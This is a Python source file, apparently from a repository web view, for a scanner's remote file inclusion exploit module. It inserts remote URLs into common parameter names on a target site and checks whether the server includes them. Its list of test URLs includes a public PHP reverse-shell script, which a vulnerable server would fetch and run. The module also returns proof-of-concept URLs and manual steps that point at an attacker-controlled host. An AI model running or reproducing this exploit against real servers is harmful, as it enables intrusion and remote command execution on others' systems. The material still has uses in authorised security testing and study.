Files
2025-03-09 19:44:06 +08:00

267 lines
10 KiB
Python
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
RFI远程文件包含漏洞利用模块
"""
import logging
import re
import urllib.parse
import random
import string
import base64
import requests
logger = logging.getLogger('xss_scanner')
class RFIExploit:
"""RFI漏洞利用类"""
def __init__(self, http_client):
"""
初始化RFI漏洞利用模块
Args:
http_client: HTTP客户端对象
"""
self.http_client = http_client
# 远程测试文件URL列表
self.remote_test_files = [
"http://www.google.com/humans.txt",
"https://www.bing.com/robots.txt",
"https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/phpinfo.php",
"https://raw.githubusercontent.com/tennc/webshell/master/php/php-reverse-shell.php"
]
# RFI测试代码片段
self.test_code_snippets = [
"<?php echo 'RFI_TEST_'.rand(1000,9999); ?>",
"<?php echo md5('RFI_TEST'); ?>",
"<?php echo base64_encode('RFI_TEST_'.time()); ?>",
"<?php phpinfo(); ?>"
]
# 远程测试代码的可能托管服务
self.remote_code_hosts = [
"https://pastebin.com/raw/",
"https://gist.githubusercontent.com/raw/",
"https://raw.githubusercontent.com/"
]
# 常见参数名
self.common_parameters = [
"file",
"page",
"url",
"uri",
"path",
"filepath",
"load",
"include",
"require",
"doc",
"document",
"folder",
"root",
"cont",
"content",
"layout",
"mod",
"module",
"template"
]
def exploit(self, vulnerability):
"""
利用RFI漏洞
Args:
vulnerability: 漏洞信息
Returns:
dict: 利用结果
"""
logger.info(f"尝试利用RFI漏洞: {vulnerability['url']}")
url = vulnerability.get('url')
parameter = vulnerability.get('parameter')
payload = vulnerability.get('payload', '')
if not url or not parameter:
return {
'success': False,
'message': '缺少必要的漏洞信息(URL或参数名)',
'data': None
}
# 尝试远程文件测试
for remote_url in self.remote_test_files:
result = self._try_remote_file(url, parameter, remote_url)
if result and result['success']:
return result
# 生成随机标记用于验证
verification_mark = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
logger.info(f"生成验证标记: {verification_mark}")
# 如果远程文件测试不成功,尝试创建一个自定义的远程测试文件
# 实际应用中需要一个可控的Web服务器来托管这些文件
# 这里只是演示性代码
test_code = f"<?php echo 'RFI_VERIFICATION_{verification_mark}'; ?>"
# 返回结果
# 注意:实际利用需要真实的远程服务器来托管恶意代码
return {
'success': False,
'message': '在实际环境中需要一个可控的远程Web服务器托管PHP代码来完成RFI漏洞利用',
'data': {
'verification_code': test_code,
'parameter': parameter,
'url': url
},
'poc': f"要验证RFI漏洞请在你控制的Web服务器托管包含 '{test_code}' 的PHP文件然后设置URL参数 {parameter}={{'你的PHP文件URL'}}",
'manual_steps': [
"1. 在你控制的Web服务器上创建一个PHP文件内容为: " + test_code,
"2. 确保该PHP文件可通过HTTP/HTTPS访问",
f"3. 构造URL: {url}?{parameter}=http://your-server.com/your-file.php",
f"4. 如果响应中包含 'RFI_VERIFICATION_{verification_mark}'则确认存在RFI漏洞"
]
}
def _try_remote_file(self, url, parameter, remote_url):
"""
尝试包含远程文件
Args:
url: 目标URL
parameter: 参数名
remote_url: 远程文件URL
Returns:
dict: 利用结果
"""
try:
logger.info(f"尝试包含远程文件: {remote_url}")
# 构建RFI测试URL
parsed_url = urllib.parse.urlparse(url)
query_params = dict(urllib.parse.parse_qsl(parsed_url.query))
query_params[parameter] = remote_url
# 重建查询字符串
new_query = urllib.parse.urlencode(query_params)
new_url = urllib.parse.urlunparse((
parsed_url.scheme,
parsed_url.netloc,
parsed_url.path,
parsed_url.params,
new_query,
parsed_url.fragment
))
# 先获取远程文件内容,以便后续比较
try:
remote_response = requests.get(remote_url, timeout=5)
if not remote_response.ok:
logger.warning(f"无法获取远程文件内容: {remote_url}")
return None
remote_content = remote_response.text
logger.info(f"成功获取远程文件内容,长度: {len(remote_content)} 字节")
# 获取远程文件的特征以便检测
# 提取特征最多50个字符
feature_length = min(50, len(remote_content))
if feature_length > 0:
remote_feature = remote_content[:feature_length]
else:
logger.warning("远程文件内容为空")
return None
except Exception as e:
logger.error(f"获取远程文件内容时出错: {str(e)}")
return None
# 发送包含请求
response = self.http_client.get(new_url)
# 检查响应是否包含远程文件内容
if response and response.status_code == 200:
# 检查响应中是否包含远程文件的特征
if remote_feature and remote_feature in response.text:
logger.info(f"成功包含远程文件,发现特征: {remote_feature[:20]}...")
return {
'success': True,
'message': f'成功利用RFI漏洞包含远程文件: {remote_url}',
'data': {
'remote_url': remote_url,
'parameter': parameter,
'feature_found': remote_feature[:20] + ('...' if len(remote_feature) > 20 else '')
},
'poc': new_url
}
elif "phpinfo" in remote_url.lower() and "PHP Version" in response.text and "PHP License" in response.text:
# 特殊检测: phpinfo()
logger.info("成功包含远程PHP文件执行了phpinfo()")
return {
'success': True,
'message': '成功利用RFI漏洞包含远程PHP文件并执行了phpinfo()',
'data': {
'remote_url': remote_url,
'parameter': parameter,
'php_version': self._extract_php_version(response.text)
},
'poc': new_url
}
elif "shell" in remote_url.lower() and "system" in response.text and "exec" in response.text:
# 特殊检测: 可能的webshell
logger.info("成功包含远程PHP文件可能是webshell")
return {
'success': True,
'message': '成功利用RFI漏洞包含远程PHP文件(可能是webshell)',
'data': {
'remote_url': remote_url,
'parameter': parameter,
'warning': '检测到可能包含危险函数的代码'
},
'poc': new_url
}
except Exception as e:
logger.error(f"尝试包含远程文件时出错: {str(e)}")
return None
def _extract_php_version(self, phpinfo_output):
"""
从phpinfo()输出中提取PHP版本
Args:
phpinfo_output: phpinfo()函数的输出
Returns:
str: PHP版本
"""
# 尝试提取PHP版本
version_match = re.search(r"PHP Version[\s]*[=>]*[\s]*([0-9.]+)", phpinfo_output)
if version_match:
return version_match.group(1)
return "未知"
def _create_remote_test_file(self, test_code):
"""
创建远程测试文件
Args:
test_code: 测试代码
Returns:
str: 远程文件URL
"""
# 在实际应用中这个函数应该将测试代码上传到可控的Web服务器
# 并返回可访问的URL
# 这里仅作为演示返回一个假的URL
logger.warning("创建远程测试文件功能需要实际的Web服务器支持")
return "http://example.com/test_rfi.php"